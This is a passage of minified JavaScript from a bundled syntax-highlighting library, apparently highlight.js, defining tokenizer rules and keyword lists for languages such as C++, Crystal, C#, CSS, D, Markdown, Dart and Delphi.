atomic_ullong new throw return and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq",built_in:"_Bool _Complex _Imaginary",_relevance_hints:["asin","atan2","atan","calloc","ceil","cosh","cos","exit","exp","fabs","floor","fmod","fprintf","fputs","free","frexp","auto_ptr","deque","list","queue","stack","vector","map","set","pair","bitset","multiset","multimap","unordered_set","fscanf","future","isalnum","isalpha","iscntrl","isdigit","isgraph","islower","isprint","ispunct","isspace","isupper","isxdigit","tolower","toupper","labs","ldexp","log10","log","malloc","realloc","memchr","memcmp","memcpy","memset","modf","pow","printf","putchar","puts","scanf","sinh","sin","snprintf","sprintf","sqrt","sscanf","strcat","strchr","strcmp","strcpy","strcspn","strlen","strncat","strncmp","strncpy","strpbrk","strrchr","strspn","strstr","tanh","tan","unordered_map","unordered_multiset","unordered_multimap","priority_queue","make_pair","array","shared_ptr","abort","terminate","abs","acos","vfprintf","vprintf","vsprintf","endl","initializer_list","unique_ptr","complex","imaginary","std","string","wstring","cin","cout","cerr","clog","stdin","stdout","stderr","stringstream","istringstream","ostringstream"],literal:"true false nullptr NULL"},D={className:"function.dispatch",relevance:0,keywords:W,begin:Xx1(/\b/,/(?!decltype)/,/(?!if)/,/(?!for)/,/(?!while)/,A.IDENT_RE,fMq(/\s*\(/))},j=[D,$,H,K,A.C_BLOCK_COMMENT_MODE,X,O],M={variants:[{begin:/=/,end:/;/},{begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}],keywords:W,contains:j.concat([{begin:/\(/,end:/\)/,keywords:W,contains:j.concat(["self"]),relevance:0}]),relevance:0},P={className:"function",begin:"("+w+"[\\*&\\s]+)+"+G,returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:W,illegal:/[^\w\s\*&:<>.]/,contains:[{begin:"decltype\\(auto\\)",keywords:W,relevance:0},{begin:G,returnBegin:!0,contains:[_],relevance:0},{begin:/::/,relevance:0},{begin:/:/,endsWithParent:!0,contains:[O,X]},{className:"params",begin:/\(/,end:/\)/,keywords:W,relevance:0,contains:[K,A.C_BLOCK_COMMENT_MODE,O,X,H,{begin:/\(/,end:/\)/,keywords:W,relevance:0,contains:["self",K,A.C_BLOCK_COMMENT_MODE,O,X,H]}]},H,K,A.C_BLOCK_COMMENT_MODE,$]};return{name:"C++",aliases:["cc","c++","h++","hpp","hh","hxx","cxx"],keywords:W,illegal:"</",classNameAliases:{"function.dispatch":"built_in"},contains:[].concat(M,P,D,j,[$,{begin:"\\b(deque|list|queue|priority_queue|pair|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",end:">",keywords:W,contains:["self",H]},{begin:A.IDENT_RE+"::",keywords:W},{className:"class",beginKeywords:"enum class struct union",end:/[{;:<>=]/,contains:[{beginKeywords:"final class struct"},A.TITLE_MODE]}]),exports:{preprocessor:$,strings:O,keywords:W}}}XH8.exports=NMq});var GH8=v((fkz,_H8)=>{function TMq(A){let q="group clone ms master location colocation order fencing_topology rsc_ticket acl_target acl_group user role tag xml",Y="property rsc_defaults op_defaults",z="params meta operations op rule attributes utilization",w="read write deny defined not_defined in_range date spec in ref reference attribute type xpath version and or lt gt tag lte gte eq ne \\",H="number string",J="Master Started Slave Stopped start promote demote stop monitor true false";return{name:"crmsh",aliases:["crm","pcmk"],case_insensitive:!0,keywords:{keyword:"params meta operations op rule attributes utilization "+w+" number string",literal:"Master Started Slave Stopped start promote demote stop monitor true false"},contains:[A.HASH_COMMENT_MODE,{beginKeywords:"node",starts:{end:"\\s*([\\w_-]+:)?",starts:{className:"title",end:"\\s*[\\$\\w_][\\w_-]*"}}},{beginKeywords:"primitive rsc_template",starts:{className:"title",end:"\\s*[\\$\\w_][\\w_-]*",starts:{end:"\\s*@?[\\w_][\\w_\\.:-]*"}}},{begin:"\\b("+q.split(" ").join("|")+")\\s+",keywords:q,starts:{className:"title",end:"[\\$\\w_][\\w_-]*"}},{beginKeywords:"property rsc_defaults op_defaults",starts:{className:"title",end:"\\s*([\\w_-]+:)?"}},A.QUOTE_STRING_MODE,{className:"meta",begin:"(ocf|systemd|service|lsb):[\\w_:-]+",relevance:0},{className:"number",begin:"\\b\\d+(\\.\\d+)?(ms|s|h|m)?",relevance:0},{className:"literal",begin:"[-]?(infinity|inf)",relevance:0},{className:"attr",begin:/([A-Za-z$_#][\w_-]+)=/,relevance:0},{className:"tag",begin:"</?",end:"/?>",relevance:0}]}}_H8.exports=TMq});var WH8=v((Nkz,ZH8)=>{function vMq(A){let H={$pattern:"[a-zA-Z_]\\w*[!?=]?",keyword:"abstract alias annotation as as? asm begin break case class def do else elsif end ensure enum extend for fun if include instance_sizeof is_a? lib macro module next nil? of out pointerof private protected rescue responds_to? return require select self sizeof struct super then type typeof union uninitialized unless until verbatim when while with yield __DIR__ __END_LINE__ __FILE__ __LINE__",literal:"false nil true"},J={className:"subst",begin:/#\{/,end:/\}/,keywords:H},O={className:"template-variable",variants:[{begin:"\\{\\{",end:"\\}\\}"},{begin:"\\{%",end:"%\\}"}],keywords:H};function X(j,M){let P=[{begin:j,end:M}];return P[0].contains=P,P}let $={className:"string",contains:[A.BACKSLASH_ESCAPE,J],variants:[{begin:/'/,end:/'/},{begin:/"/,end:/"/},{begin:/`/,end:/`/},{begin:"%[Qwi]?\\(",end:"\\)",contains:X("\\(","\\)")},{begin:"%[Qwi]?\\[",end:"\\]",contains:X("\\[","\\]")},{begin:"%[Qwi]?\\{",end:/\}/,contains:X(/\{/,/\}/)},{begin:"%[Qwi]?<",end:">",contains:X("<",">")},{begin:"%[Qwi]?\\|",end:"\\|"},{begin:/<<-\w+$/,end:/^\s*\w+$/}],relevance:0},_={className:"string",variants:[{begin:"%q\\(",end:"\\)",contains:X("\\(","\\)")},{begin:"%q\\[",end:"\\]",contains:X("\\[","\\]")},{begin:"%q\\{",end:/\}/,contains:X(/\{/,/\}/)},{begin:"%q<",end:">",contains:X("<",">")},{begin:"%q\\|",end:"\\|"},{begin:/<<-'\w+'$/,end:/^\s*\w+$/}],relevance:0},G={begin:"(?!%\\})("+A.RE_STARTERS_RE+"|\\n|\\b(case|if|select|unless|until|when|while)\\b)\\s*",keywords:"case if select unless until when while",contains:[{className:"regexp",contains:[A.BACKSLASH_ESCAPE,J],variants:[{begin:"//[a-z]*",relevance:0},{begin:"/(?!\\/)",end:"/[a-z]*"}]}],relevance:0},Z={className:"regexp",contains:[A.BACKSLASH_ESCAPE,J],variants:[{begin:"%r\\(",end:"\\)",contains:X("\\(","\\)")},{begin:"%r\\[",end:"\\]",contains:X("\\[","\\]")},{begin:"%r\\{",end:/\}/,contains:X(/\{/,/\}/)},{begin:"%r<",end:">",contains:X("<",">")},{begin:"%r\\|",end:"\\|"}],relevance:0},W={className:"meta",begin:"@\\[",end:"\\]",contains:[A.inherit(A.QUOTE_STRING_MODE,{className:"meta-string"})]},D=[O,$,_,Z,G,W,A.HASH_COMMENT_MODE,{className:"class",beginKeywords:"class module struct",end:"$|;",illegal:/=/,contains:[A.HASH_COMMENT_MODE,A.inherit(A.TITLE_MODE,{begin:"[A-Za-z_]\\w*(::\\w+)*(\\?|!)?"}),{begin:"<"}]},{className:"class",beginKeywords:"lib enum union",end:"$|;",illegal:/=/,contains:[A.HASH_COMMENT_MODE,A.inherit(A.TITLE_MODE,{begin:"[A-Za-z_]\\w*(::\\w+)*(\\?|!)?"})]},{beginKeywords:"annotation",end:"$|;",illegal:/=/,contains:[A.HASH_COMMENT_MODE,A.inherit(A.TITLE_MODE,{begin:"[A-Za-z_]\\w*(::\\w+)*(\\?|!)?"})],relevance:2},{className:"function",beginKeywords:"def",end:/\B\b/,contains:[A.inherit(A.TITLE_MODE,{begin:"[a-zA-Z_]\\w*[!?=]?|[-+~]@|<<|>>|[=!]~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~|]|//|//=|&[-+*]=?|&\\*\\*|\\[\\][=?]?",endsParent:!0})]},{className:"function",beginKeywords:"fun macro",end:/\B\b/,contains:[A.inherit(A.TITLE_MODE,{begin:"[a-zA-Z_]\\w*[!?=]?|[-+~]@|<<|>>|[=!]~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~|]|//|//=|&[-+*]=?|&\\*\\*|\\[\\][=?]?",endsParent:!0})],relevance:2},{className:"symbol",begin:A.UNDERSCORE_IDENT_RE+"(!|\\?)?:",relevance:0},{className:"symbol",begin:":",contains:[$,{begin:"[a-zA-Z_]\\w*[!?=]?|[-+~]@|<<|>>|[=!]~|===?|<=>|[<>]=?|\\*\\*|[-/+%^&*~|]|//|//=|&[-+*]=?|&\\*\\*|\\[\\][=?]?"}],relevance:0},{className:"number",variants:[{begin:"\\b0b([01_]+)(_?[ui](8|16|32|64|128))?"},{begin:"\\b0o([0-7_]+)(_?[ui](8|16|32|64|128))?"},{begin:"\\b0x([A-Fa-f0-9_]+)(_?[ui](8|16|32|64|128))?"},{begin:"\\b([1-9][0-9_]*[0-9]|[0-9])(\\.[0-9][0-9_]*)?([eE]_?[-+]?[0-9_]*)?(_?f(32|64))?(?!_)"},{begin:"\\b([1-9][0-9_]*|0)(_?[ui](8|16|32|64|128))?"}],relevance:0}];return J.contains=D,O.contains=D.slice(1),{name:"Crystal",aliases:["cr"],keywords:H,contains:D}}ZH8.exports=vMq});var jH8=v((Tkz,DH8)=>{function EMq(A){let K=["bool","byte","char","decimal","delegate","double","dynamic","enum","float","int","long","nint","nuint","object","sbyte","short","string","ulong","uint","ushort"],q=["public","private","protected","static","internal","protected","abstract","async","extern","override","unsafe","virtual","new","sealed","partial"],Y=["default","false","null","true"],z=["abstract","as","base","break","case","class","const","continue","do","else","event","explicit","extern","finally","fixed","for","foreach","goto","if","implicit","in","interface","internal","is","lock","namespace","new","operator","out","override","params","private","protected","public","readonly","record","ref","return","sealed","sizeof","stackalloc","static","struct","switch","this","throw","try","typeof","unchecked","unsafe","using","virtual","void","volatile","while"],w=["add","alias","and","ascending","async","await","by","descending","equals","from","get","global","group","init","into","join","let","nameof","not","notnull","on","or","orderby","partial","remove","select","set","unmanaged","value|0","var","when","where","with","yield"],H={keyword:z.concat(w),built_in:K,literal:Y},J=A.inherit(A.TITLE_MODE,{begin:"[a-zA-Z](\\.?\\w)*"}),O={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},X={className:"string",begin:'@"',end:'"',contains:[{begin:'""'}]},$=A.inherit(X,{illegal:/\n/}),_={className:"subst",begin:/\{/,end:/\}/,keywords:H},G=A.inherit(_,{illegal:/\n/}),Z={className:"string",begin:/\$"/,end:'"',illegal:/\n/,contains:[{begin:/\{\{/},{begin:/\}\}/},A.BACKSLASH_ESCAPE,G]},W={className:"string",begin:/\$@"/,end:'"',contains:[{begin:/\{\{/},{begin:/\}\}/},{begin:'""'},_]},D=A.inherit(W,{illegal:/\n/,contains:[{begin:/\{\{/},{begin:/\}\}/},{begin:'""'},G]});_.contains=[W,Z,X,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,O,A.C_BLOCK_COMMENT_MODE],G.contains=[D,Z,$,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,O,A.inherit(A.C_BLOCK_COMMENT_MODE,{illegal:/\n/})];let j={variants:[W,Z,X,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]},M={begin:"<",end:">",contains:[{beginKeywords:"in out"},J]},P=A.IDENT_RE+"(<"+A.IDENT_RE+"(\\s*,\\s*"+A.IDENT_RE+")*>)?(\\[\\])?",f={begin:"@"+A.IDENT_RE,relevance:0};return{name:"C#",aliases:["cs","c#"],keywords:H,illegal:/::/,contains:[A.COMMENT("///","$",{returnBegin:!0,contains:[{className:"doctag",variants:[{begin:"///",relevance:0},{begin:"<!--|-->"},{begin:"</?",end:">"}]}]}),A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"meta",begin:"#",end:"$",keywords:{"meta-keyword":"if else elif endif define undef warning error line region endregion pragma checksum"}},j,O,{beginKeywords:"class interface",relevance:0,end:/[{;=]/,illegal:/[^\s:,]/,contains:[{beginKeywords:"where class"},J,M,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},{beginKeywords:"namespace",relevance:0,end:/[{;=]/,illegal:/[^\s:]/,contains:[J,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},{beginKeywords:"record",relevance:0,end:/[{;=]/,illegal:/[^\s:]/,contains:[J,M,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},{className:"meta",begin:"^\\s*\\[",excludeBegin:!0,end:"\\]",excludeEnd:!0,contains:[{className:"meta-string",begin:/"/,end:/"/}]},{beginKeywords:"new return throw await else",relevance:0},{className:"function",begin:"("+P+"\\s+)+"+A.IDENT_RE+"\\s*(<.+>\\s*)?\\(",returnBegin:!0,end:/\s*[{;=]/,excludeEnd:!0,keywords:H,contains:[{beginKeywords:q.join(" "),relevance:0},{begin:A.IDENT_RE+"\\s*(<.+>\\s*)?\\(",returnBegin:!0,contains:[A.TITLE_MODE,M],relevance:0},{className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:H,relevance:0,contains:[j,O,A.C_BLOCK_COMMENT_MODE]},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},f]}}DH8.exports=EMq});var PH8=v((vkz,MH8)=>{function kMq(A){return{name:"CSP",case_insensitive:!1,keywords:{$pattern:"[a-zA-Z][a-zA-Z0-9_-]*",keyword:"base-uri child-src connect-src default-src font-src form-action frame-ancestors frame-src img-src media-src object-src plugin-types report-uri sandbox script-src style-src"},contains:[{className:"string",begin:"'",end:"'"},{className:"attribute",begin:"^Content",end:":",excludeEnd:!0}]}}MH8.exports=kMq});var fH8=v((Ekz,VH8)=>{var CMq=(A)=>{return{IMPORTANT:{className:"meta",begin:"!important"},HEXCOLOR:{className:"number",begin:"#([a-fA-F0-9]{6}|[a-fA-F0-9]{3})"},ATTRIBUTE_SELECTOR_MODE:{className:"selector-attr",begin:/\[/,end:/\]/,illegal:"$",contains:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]}}},LMq=["a","abbr","address","article","aside","audio","b","blockquote","body","button","canvas","caption","cite","code","dd","del","details","dfn","div","dl","dt","em","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","html","i","iframe","img","input","ins","kbd","label","legend","li","main","mark","menu","nav","object","ol","p","q","quote","samp","section","span","strong","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","ul","var","video"],RMq=["any-hover","any-pointer","aspect-ratio","color","color-gamut","color-index","device-aspect-ratio","device-height","device-width","display-mode","forced-colors","grid","height","hover","inverted-colors","monochrome","orientation","overflow-block","overflow-inline","pointer","prefers-color-scheme","prefers-contrast","prefers-reduced-motion","prefers-reduced-transparency","resolution","scan","scripting","update","width","min-width","max-width","min-height","max-height"],yMq=["active","any-link","blank","checked","current","default","defined","dir","disabled","drop","empty","enabled","first","first-child","first-of-type","fullscreen","future","focus","focus-visible","focus-within","has","host","host-context","hover","indeterminate","in-range","invalid","is","lang","last-child","last-of-type","left","link","local-link","not","nth-child","nth-col","nth-last-child","nth-last-col","nth-last-of-type","nth-of-type","only-child","only-of-type","optional","out-of-range","past","placeholder-shown","read-only","read-write","required","right","root","scope","target","target-within","user-invalid","valid","visited","where"],IMq=["after","backdrop","before","cue","cue-region","first-letter","first-line","grammar-error","marker","part","placeholder","selection","slotted","spelling-error"],SMq=["align-content","align-items","align-self","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","auto","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","clip-path","color","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","cursor","direction","display","empty-cells","filter","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","font","font-display","font-family","font-feature-settings","font-kerning","font-language-override","font-size","font-size-adjust","font-smoothing","font-stretch","font-style","font-variant","font-variant-ligatures","font-variation-settings","font-weight","height","hyphens","icon","image-orientation","image-rendering","image-resolution","ime-mode","inherit","initial","justify-content","left","letter-spacing","line-height","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marks","mask","max-height","max-width","min-height","min-width","nav-down","nav-index","nav-left","nav-right","nav-up","none","normal","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page-break-after","page-break-before","page-break-inside","perspective","perspective-origin","pointer-events","position","quotes","resize","right","src","tab-size","table-layout","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-style","text-indent","text-overflow","text-rendering","text-shadow","text-transform","text-underline-position","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","white-space","widows","width","word-break","word-spacing","word-wrap","z-index"].reverse();function hMq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function bMq(A){return xMq("(?=",A,")")}function xMq(...A){return A.map((q)=>hMq(q)).join("")}function uMq(A){let K=CMq(A),q={className:"built_in",begin:/[\w-]+(?=\()/},Y={begin:/-(webkit|moz|ms|o)-(?=[a-z])/},z="and or not only",w=/@-?\w[\w]*(-\w+)*/,H="[a-zA-Z-][a-zA-Z0-9_-]*",J=[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE];return{name:"CSS",case_insensitive:!0,illegal:/[=|'\$]/,keywords:{keyframePosition:"from to"},classNameAliases:{keyframePosition:"selector-tag"},contains:[A.C_BLOCK_COMMENT_MODE,Y,A.CSS_NUMBER_MODE,{className:"selector-id",begin:/#[A-Za-z0-9_-]+/,relevance:0},{className:"selector-class",begin:"\\.[a-zA-Z-][a-zA-Z0-9_-]*",relevance:0},K.ATTRIBUTE_SELECTOR_MODE,{className:"selector-pseudo",variants:[{begin:":("+yMq.join("|")+")"},{begin:"::("+IMq.join("|")+")"}]},{className:"attribute",begin:"\\b("+SMq.join("|")+")\\b"},{begin:":",end:"[;}]",contains:[K.HEXCOLOR,K.IMPORTANT,A.CSS_NUMBER_MODE,...J,{begin:/(url|data-uri)\(/,end:/\)/,relevance:0,keywords:{built_in:"url data-uri"},contains:[{className:"string",begin:/[^)]/,endsWithParent:!0,excludeEnd:!0}]},q]},{begin:bMq(/@/),end:"[{;]",relevance:0,illegal:/:/,contains:[{className:"keyword",begin:w},{begin:/\s/,endsWithParent:!0,excludeEnd:!0,relevance:0,keywords:{$pattern:/[a-z-]+/,keyword:"and or not only",attribute:RMq.join(" ")},contains:[{begin:/[a-z-]+(?=:)/,className:"attribute"},...J,A.CSS_NUMBER_MODE]}]},{className:"selector-tag",begin:"\\b("+LMq.join("|")+")\\b"}]}}VH8.exports=uMq});var TH8=v((kkz,NH8)=>{function BMq(A){let K={$pattern:A.UNDERSCORE_IDENT_RE,keyword:"abstract alias align asm assert auto body break byte case cast catch class const continue debug default delete deprecated do else enum export extern final finally for foreach foreach_reverse|10 goto if immutable import in inout int interface invariant is lazy macro mixin module new nothrow out override package pragma private protected public pure ref return scope shared static struct super switch synchronized template this throw try typedef typeid typeof union unittest version void volatile while with __FILE__ __LINE__ __gshared|10 __thread __traits __DATE__ __EOF__ __TIME__ __TIMESTAMP__ __VENDOR__ __VERSION__",built_in:"bool cdouble cent cfloat char creal dchar delegate double dstring float function idouble ifloat ireal long real short string ubyte ucent uint ulong ushort wchar wstring",literal:"false null true"},q="(0|[1-9][\\d_]*)",Y="(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d)",z="0[bB][01_]+",w="([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*)",H="0[xX]([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*)",J="([eE][+-]?(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d))",O="((0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d)(\\.\\d*|"+J+")|\\d+\\.(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d)|\\.(0|[1-9][\\d_]*)"+J+"?)",X="(0[xX](([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*)\\.([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*)|\\.?([\\da-fA-F][\\da-fA-F_]*|_[\\da-fA-F][\\da-fA-F_]*))[pP][+-]?(0|[1-9][\\d_]*|\\d[\\d_]*|[\\d_]+?\\d))",$="((0|[1-9][\\d_]*)|0[bB][01_]+|"+H+")",_="("+X+"|"+O+")",G=`\\\\(['"\\?\\\\abfnrtv]|u[\\dA-Fa-f]{4}|[0-7]{1,3}|x[\\dA-Fa-f]{2}|U[\\dA-Fa-f]{8})|&[a-zA-Z\\d]{2,};`,Z={className:"number",begin:"\\b"+$+"(L|u|U|Lu|LU|uL|UL)?",relevance:0},W={className:"number",begin:"\\b("+_+"([fF]|L|i|[fF]i|Li)?|"+$+"(i|[fF]i|Li))",relevance:0},D={className:"string",begin:"'("+G+"|.)",end:"'",illegal:"."},M={className:"string",begin:'"',contains:[{begin:G,relevance:0}],end:'"[cwd]?'},P={className:"string",begin:'[rq]"',end:'"[cwd]?',relevance:5},f={className:"string",begin:"`",end:"`[cwd]?"},N={className:"string",begin:'x"[\\da-fA-F\\s\\n\\r]*"[cwd]?',relevance:10},T={className:"string",begin:'q"\\{',end:'\\}"'},C={className:"meta",begin:"^#!",end:"$",relevance:5},R={className:"meta",begin:"#(line)",end:"$",relevance:5},x={className:"keyword",begin:"@[a-zA-Z_][a-zA-Z_\\d]*"},y=A.COMMENT("\\/\\+","\\+\\/",{contains:["self"],relevance:10});return{name:"D",keywords:K,contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,y,N,M,P,f,T,W,Z,D,C,R,x]}}NH8.exports=BMq});var EH8=v((Ckz,vH8)=>{function mMq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function gMq(...A){return A.map((q)=>mMq(q)).join("")}function FMq(A){let K={begin:/<\/?[A-Za-z_]/,end:">",subLanguage:"xml",relevance:0},q={begin:"^[-\\*]{3,}",end:"$"},Y={className:"code",variants:[{begin:"(`{3,})[^`](.|\\n)*?\\1`*[ ]*"},{begin:"(~{3,})[^~](.|\\n)*?\\1~*[ ]*"},{begin:"```",end:"```+[ ]*$"},{begin:"~~~",end:"~~~+[ ]*$"},{begin:"`.+?`"},{begin:"(?=^( {4}|\\t))",contains:[{begin:"^( {4}|\\t)",end:"(\\n)$"}],relevance:0}]},z={className:"bullet",begin:"^[ \t]*([*+-]|(\\d+\\.))(?=\\s+)",end:"\\s+",excludeEnd:!0},w={begin:/^\[[^\n]+\]:/,returnBegin:!0,contains:[{className:"symbol",begin:/\[/,end:/\]/,excludeBegin:!0,excludeEnd:!0},{className:"link",begin:/:\s*/,end:/$/,excludeBegin:!0}]},J={variants:[{begin:/\[.+?\]\[.*?\]/,relevance:0},{begin:/\[.+?\]\(((data|javascript|mailto):|(?:http|ftp)s?:\/\/).*?\)/,relevance:2},{begin:gMq(/\[.+?\]\(/,/[A-Za-z][A-Za-z0-9+.-]*/,/:\/\/.*?\)/),relevance:2},{begin:/\[.+?\]\([./?&#].*?\)/,relevance:1},{begin:/\[.+?\]\(.*?\)/,relevance:0}],returnBegin:!0,contains:[{className:"string",relevance:0,begin:"\\[",end:"\\]",excludeBegin:!0,returnEnd:!0},{className:"link",relevance:0,begin:"\\]\\(",end:"\\)",excludeBegin:!0,excludeEnd:!0},{className:"symbol",relevance:0,begin:"\\]\\[",end:"\\]",excludeBegin:!0,excludeEnd:!0}]},O={className:"strong",contains:[],variants:[{begin:/_{2}/,end:/_{2}/},{begin:/\*{2}/,end:/\*{2}/}]},X={className:"emphasis",contains:[],variants:[{begin:/\*(?!\*)/,end:/\*/},{begin:/_(?!_)/,end:/_/,relevance:0}]};O.contains.push(X),X.contains.push(O);let $=[K,J];return O.contains=O.contains.concat($),X.contains=X.contains.concat($),$=$.concat(O,X),{name:"Markdown",aliases:["md","mkdown","mkd"],contains:[{className:"section",variants:[{begin:"^#{1,6}",end:"$",contains:$},{begin:"(?=^.+?\\n[=-]{2,}$)",contains:[{begin:"^[=-]*$"},{begin:"^",end:"\\n",contains:$}]}]},K,z,O,X,{className:"quote",begin:"^>\\s+",contains:$,end:"$"},Y,q,J,w]}}vH8.exports=FMq});var CH8=v((Lkz,kH8)=>{function QMq(A){let K={className:"subst",variants:[{begin:"\\$[A-Za-z0-9_]+"}]},q={className:"subst",variants:[{begin:/\$\{/,end:/\}/}],keywords:"true false null this is new super"},Y={className:"string",variants:[{begin:"r'''",end:"'''"},{begin:'r"""',end:'"""'},{begin:"r'",end:"'",illegal:"\\n"},{begin:'r"',end:'"',illegal:"\\n"},{begin:"'''",end:"'''",contains:[A.BACKSLASH_ESCAPE,K,q]},{begin:'"""',end:'"""',contains:[A.BACKSLASH_ESCAPE,K,q]},{begin:"'",end:"'",illegal:"\\n",contains:[A.BACKSLASH_ESCAPE,K,q]},{begin:'"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE,K,q]}]};q.contains=[A.C_NUMBER_MODE,Y];let z=["Comparable","DateTime","Duration","Function","Iterable","Iterator","List","Map","Match","Object","Pattern","RegExp","Set","Stopwatch","String","StringBuffer","StringSink","Symbol","Type","Uri","bool","double","int","num","Element","ElementList"],w=z.map((J)=>`${J}?`);return{name:"Dart",keywords:{keyword:"abstract as assert async await break case catch class const continue covariant default deferred do dynamic else enum export extends extension external factory false final finally for Function get hide if implements import in inferface is late library mixin new null on operator part required rethrow return set show static super switch sync this throw true try typedef var void while with yield",built_in:z.concat(w).concat(["Never","Null","dynamic","print","document","querySelector","querySelectorAll","window"]),$pattern:/[A-Za-z][A-Za-z0-9_]*\??/},contains:[Y,A.COMMENT(/\/\*\*(?!\/)/,/\*\//,{subLanguage:"markdown",relevance:0}),A.COMMENT(/\/{3,} ?/,/$/,{contains:[{subLanguage:"markdown",begin:".",end:"$",relevance:0}]}),A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"class",beginKeywords:"class interface",end:/\{/,excludeEnd:!0,contains:[{beginKeywords:"extends implements"},A.UNDERSCORE_TITLE_MODE]},A.C_NUMBER_MODE,{className:"meta",begin:"@[A-Za-z]+"},{begin:"=>"}]}}kH8.exports=QMq});var RH8=v((Rkz,LH8)=>{function UMq(A){let K="exports register file shl array record property for mod while set ally label uses raise not stored class safecall var interface or private static exit index inherited to else stdcall override shr asm far resourcestring finalization packed virtual out and protected library do xorwrite goto near function end div overload object unit begin string on inline repeat until destructor write message program with read initialization except default nil if case cdecl in downto threadvar of try pascal const external constructor type public then implementation finally published procedure absolute reintroduce operator as is abstract alias assembler bitpacked break continue cppdecl cvar enumerator experimental platform deprecated unimplemented dynamic export far16 forward generic helper implements interrupt iochecks local name nodefault noreturn nostackframe oldfpccall otherwise saveregisters softfloat specialize strict unaligned varargs ",q=[A.C_LINE_COMMENT_MODE,A.COMMENT(/\{/,/\}/,{relevance:0}),A.COMMENT(/\(\*/,/\*\)/,{relevance:10})],Y={className:"meta",variants:[{begin:/\{\$/,end:/\}/},{begin:/\(\*\$/,end:/\*\)/}]},z={className:"string",begin:/'/,end:/'/,contains:[{begin:/''/}]},w={className:"number",relevance:0,variants:[{begin:"\\$[0-9A-Fa-f]+"},{begin:"&[0-7]+"},{begin:"%[01]+"}]},H={className:"string",begin:/(#\d+)+/},J={begin:A.IDENT_RE+"\\s*=\\s*class\\s*\\(",returnBegin:!0,contains:[A.TITLE_MODE]},O={className:"function",beginKeywords:"function constructor destructor procedure",end:/[:;]/,keywords:"function constructor|10 destructor|10 procedure|10",contains:[A.TITLE_MODE,{className:"params",begin:/\(/,end:/\)/,keywords:K,contains:[z,H,Y].concat(q)},Y].concat(q)};return{name:"Delphi",aliases:["dpr","dfm","pas","pascal","freepascal","lazarus","lpr","lfm"],case_insensitive:!0,keywords:K,illegal:/"|\$[G-Zg-z]|\/\*|<\/|\|/,contains:[z,H,A.NUMBER_MODE,w,J,O,Y].concat(q)}}LH8.exports=UMq});var IH8=v((ykz,yH8)=>{function pMq(A){return{name:"Diff",aliases:["patch"],contains:[{className:"meta",relevance:10,variants:[{begin:/^@@ +-\d+,\d+ +\+\d+,\d+ +@@/},{begin:/^\*\*\* +\d+,\d+ +\*\*\*\*$/},{begin:/^--- +\d+,\d+ +----$/}]},{className:"comment",variants:[{begin:/Index: /,end:/$/},{begin:/^index/,end:/$/},{begin:/={3,}/,end:/$/},{begin:/^-{3}/,end:/$/},{begin:/^\*{3} 